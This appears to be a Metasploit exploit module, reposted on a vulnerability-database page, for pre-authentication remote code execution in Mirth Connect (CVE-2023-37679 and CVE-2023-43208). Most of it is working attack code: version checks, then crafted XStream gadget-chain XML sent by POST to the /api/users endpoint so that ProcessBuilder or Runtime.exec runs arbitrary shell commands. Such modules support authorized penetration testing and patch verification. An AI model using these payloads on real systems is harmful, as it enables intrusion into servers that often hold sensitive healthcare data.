`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mirth Connect Deserialization RCE',
'Description' => %q{
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
},
'Author' => [
'r00t',
'Naveen Sunkavally',
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-37679'],
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],
['CVE', '2023-43208'],
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],
],
'DisclosureDate' => '2023-10-25',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?
unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/
return CheckCode::Safe('The target is not Mirth Connect.')
end
target_version = get_target_version
return CheckCode::Detected('Failed to detect the target version.') unless target_version
vprint_status("Detected target version: #{target_version}")
if target_version <= Rex::Version.new('4.3.0')
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
elsif target_version <= Rex::Version.new('4.4.0')
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
end
CheckCode::Safe("Version #{target_version} is not affected.")
end
def get_target_version
return @target_version if @target_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server/version'),
'headers' => {
'X-Requested-With' => 'OpenAPI'
}
)
return nil unless res&.code == 200
return nil unless res.body =~ /(\d+(\.\d+)*)/
@target_version = Rex::Version.new(Regexp.last_match(1))
@target_version
end
def exploit
target_version = get_target_version
print_status("Executing #{payload_instance.refname} (#{target.name})")
if target_version <= Rex::Version.new('4.3.0')
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
# which did not implement the deny-list logic that was bypassed by the newer chain
res = execute_command_cve_2023_37679(payload.encoded)
elsif target_version <= Rex::Version.new('4.4.0')
res = execute_command_cve_2023_43208(payload.encoded)
else
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
end
if res.nil?
fail_with(Failure::Unreachable, 'Failed to execute the payload.')
elsif res.code != 500
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')
end
print_good('The target appears to have executed the payload.')
end
def execute_command_cve_2023_37679(cmd, _opts = {})
# Tested on 4.1.1 and 4.3.0
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<sorted-set>
<string>#{rand_text_alphanumeric(4..12)}</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>
<string>#{cmd.encode(xml: :text)}</string>
</command>
</target>
<methodName>start</methodName>
<eventTypes/>
</handler>
</dynamic-proxy>
</sorted-set>
XML
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/xml',
'headers' => {
'X-Requested-With' => 'OpenAPI'
},
'data' => xml
})
res
end
def execute_command_cve_2023_43208(cmd, _opts = {})
if target['Platform'] == 'win'
cmd = "cmd.exe /c \"#{cmd}\""
else
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
cmd = "sh -c $@|sh . echo #{cmd}"
end
# Tested on 4.1.1, 4.4.0
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<sorted-set>
<string>#{rand_text_alphanumeric(4..12)}</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>#{cmd.encode(xml: :text)}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
XML
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/xml',
'headers' => {
'X-Requested-With' => 'OpenAPI'
},
'data' => xml
})
res
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation